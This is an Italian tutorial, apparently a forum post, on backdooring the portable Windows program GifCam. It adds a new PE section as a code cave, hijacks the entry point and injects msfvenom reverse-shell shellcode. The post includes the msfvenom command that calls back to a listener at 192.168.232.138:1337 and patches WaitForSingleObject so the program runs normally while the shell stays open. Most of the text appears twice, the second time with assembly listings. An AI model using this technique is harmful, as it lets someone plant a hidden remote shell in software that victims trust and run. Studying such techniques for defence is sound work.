Я
Яǝʌǝɹsǝ
Ci sono diverse applicazioni che si possono utilizzare, senza installarle, del tipo Putty, Rufus, UNebootin e tutti i tool Sysinternals. in questa guida useremo GifCam come applicazione
i tools per fare(provare) i test sono i seguenti
1. LordPe (io sono pigro e prendo roba già pronta, ma chi pensa di essere bravo puo usare pefile come modulo python)
2. Immunity
3. qualsiasi hex editor
4. notepad
Quindi che cosa cerchiamo? Aree di null abbastanza grandi per ospitare non solo il nostro shellcode generato da Msfvenom, ma anche i comandi del'app che vengono sovrascritti. Queste zone sono noti come code caves. Si noti nella figura in basso come si dispone di una lunga porzione continua di nullbytes? Si tratterebbe di una code cave ideale
in questo caso, non ero in grado di scrivere in questa vasta area e non mi importava per scoprire perché(solita pigrizia). Invece, si crea una nuova sezione con 1000 byte, che è più che sufficiente per ospitare tutto quello che serve. L'idea è prendere in consegna il flusso di esecuzione e portarlo direttamente a un indirizzo di vostra scelta. Dopo che il codice viene esecutato, ritorna allo stato originale del programma e inizia ad eseguire come se nulla fosse mai accaduto(per farci un'idea di quello che dovrebbe succedere)
Dopo aver aggiunto la nuova sezione di 1000 byte, vi è ora un totale di 11 sezioni per questa applicazione e ora siamo pronti a partire!
aver aggiunto 1000 byte, avremo bisogno di aggiungere byte al file(a questo punto l'app non dovrebbe più funzionare, per la colpa del ridimensionamento del file)
L'aggiunta di bytes si fa con il hex editor, aggiungendo dei null alla fine del file. una volta aggiunti i bytes, l'applicazione torna a funzionare
adesso sarebbe ora di aprire notepad, per segnare i address che saltiamo. cosi si vede quello che viene cambiato e quello che rimane
Qundi passiamo alla nostra sezione appena aggiunta. Il primo salto ci porterà a l'indirizzo della nostra prima istruzione nella nostra sezione, che è 0075b000
che lo notiamo
Ci sono diversi modi per ottenere la stessa cosa, ma manteniamo le cose semplici, modificando le istruzioni del punto di ingresso con un salto
Notate qualcosa di diverso? Aggiorniamo le note e salviamo le modifiche
Ecco! Il file e cambiato con le istruzioni modificate. Adesso se guardiamo il salto..
A questo punto, siamo in grado di eseguire tutto ciò che vogliamo. Usiamo la standard reverse shell generata con msfvenom
Come prima, si inseriscono i bytes e si salva nuovamente il file. Qui però arriva la parte interessante, dove sorgono due questioni. La prima e che il shell ferma l'esecuzione del programa. il colpevole e "WaitForSingleObject"
Per riassumere,qualsiasi valore che viene passata qui che non è uno zero ... l'applicazione si blocca fino a quando non abbiamo finito quello che stiamo facendo, quindi l'aplicazione parte solo quando chiudamo la shell(bisogna guardare come msvenom passa valori a quella funzione) I comandi responsabili per il passaggio del valore sono
Cambiando DEC ESI e INC ESI in NOPs, passa come "0" e ci lascia funzionare simultaneamente sia la shell, che l'appliccazione
la seconda questione e che msfvenom ha oltre le chiamate pushad, ha anche un paio di chiamate POPAD e popfd. quindi quando apre i propri valori "salvati", viene eseguito il codice tra quelle chiamate. Infine, emette un altro pushad e salva valori indesiderati e li riporta in seguito. Che rovina, ovviamente, i valori che stavo cercando di salvare. quindi impostiamo manualmente i nostri registri ai valori originali che abbiamo cercato di salvare. quindi con un po di matematica, usando SUB oppure ADD, si possono raggiungere i valori di cui abbiamo bisogno. quindi prima
e dopo
Una volta inseriti i commandi sovrascritti, si salvano le modifiche(ancora!!) e si spera di ottenere una shell, e che l'applicazione funziona normalmente
P.S. so che non e una cosa facile. solo per chi ha tempo e sopratutto voglia
buon divertimento
i tools per fare(provare) i test sono i seguenti
1. LordPe (io sono pigro e prendo roba già pronta, ma chi pensa di essere bravo puo usare pefile come modulo python)
2. Immunity
3. qualsiasi hex editor
4. notepad
Quindi che cosa cerchiamo? Aree di null abbastanza grandi per ospitare non solo il nostro shellcode generato da Msfvenom, ma anche i comandi del'app che vengono sovrascritti. Queste zone sono noti come code caves. Si noti nella figura in basso come si dispone di una lunga porzione continua di nullbytes? Si tratterebbe di una code cave ideale
in questo caso, non ero in grado di scrivere in questa vasta area e non mi importava per scoprire perché(solita pigrizia). Invece, si crea una nuova sezione con 1000 byte, che è più che sufficiente per ospitare tutto quello che serve. L'idea è prendere in consegna il flusso di esecuzione e portarlo direttamente a un indirizzo di vostra scelta. Dopo che il codice viene esecutato, ritorna allo stato originale del programma e inizia ad eseguire come se nulla fosse mai accaduto(per farci un'idea di quello che dovrebbe succedere)
Dopo aver aggiunto la nuova sezione di 1000 byte, vi è ora un totale di 11 sezioni per questa applicazione e ora siamo pronti a partire!
aver aggiunto 1000 byte, avremo bisogno di aggiungere byte al file(a questo punto l'app non dovrebbe più funzionare, per la colpa del ridimensionamento del file)
L'aggiunta di bytes si fa con il hex editor, aggiungendo dei null alla fine del file. una volta aggiunti i bytes, l'applicazione torna a funzionare
adesso sarebbe ora di aprire notepad, per segnare i address che saltiamo. cosi si vede quello che viene cambiato e quello che rimane
Qundi passiamo alla nostra sezione appena aggiunta. Il primo salto ci porterà a l'indirizzo della nostra prima istruzione nella nostra sezione, che è 0075b000
che lo notiamo
Codice:
Stato originale:
00553558 > $ 55 PUSH EBP
00553559 . 8BEC MOV EBP,ESP
0055355B . 83C4 F0 ADD ESP,-10
0055355E . 53 PUSH EBX
0055355F . B8 50B15400 MOV EAX,GifCam.0054B150
00553564 . E8 3770EBFF CALL GifCam.0040A5A0
Il primo salto:
0075B000 0000 ADD BYTE PTR DS:[EAX],AL
Notate qualcosa di diverso? Aggiorniamo le note e salviamo le modifiche
Codice:
Istruzioni sovrascritte:
00553558 > $ 55 PUSH EBP
00553559 . 8BEC MOV EBP,ESP
0055355B . 83C4 F0 ADD ESP,-10
Non sovrascritte:
0055355E . 53 PUSH EBX
0055355F . B8 50B15400 MOV EAX,GifCam.0054B150
00553564 . E8 3770EBFF CALL GifCam.0040A5A0
Primo salto:
0075B000 0000 ADD BYTE PTR DS:[EAX],AL
Bisogna saltare a:
0055355E
Ecco! Il file e cambiato con le istruzioni modificate. Adesso se guardiamo il salto..
A questo punto, siamo in grado di eseguire tutto ciò che vogliamo. Usiamo la standard reverse shell generata con msfvenom
Codice:
$ sudo msfvenom -p windows/shell_reverse_tcp LHOST=192.168.232.138 LPORT=1337 -f hex
Payload size: 324 bytes
fce8820000006089e531c0648b50308 --snipped because 324 bytes--
Codice:
DWORD WINAPI WaitForSingleObject(
_In_ HANDLE hHandle, // Non questo
_In_ DWORD dwMilliseconds // X come valore viene spinto qui
);
Codice:
4E DEC ESI
56 PUSH ESI
46 INC ESI
Cambiando DEC ESI e INC ESI in NOPs, passa come "0" e ci lascia funzionare simultaneamente sia la shell, che l'appliccazione
la seconda questione e che msfvenom ha oltre le chiamate pushad, ha anche un paio di chiamate POPAD e popfd. quindi quando apre i propri valori "salvati", viene eseguito il codice tra quelle chiamate. Infine, emette un altro pushad e salva valori indesiderati e li riporta in seguito. Che rovina, ovviamente, i valori che stavo cercando di salvare. quindi impostiamo manualmente i nostri registri ai valori originali che abbiamo cercato di salvare. quindi con un po di matematica, usando SUB oppure ADD, si possono raggiungere i valori di cui abbiamo bisogno. quindi prima
e dopo
Una volta inseriti i commandi sovrascritti, si salvano le modifiche(ancora!!) e si spera di ottenere una shell, e che l'applicazione funziona normalmente
P.S. so che non e una cosa facile. solo per chi ha tempo e sopratutto voglia
buon divertimento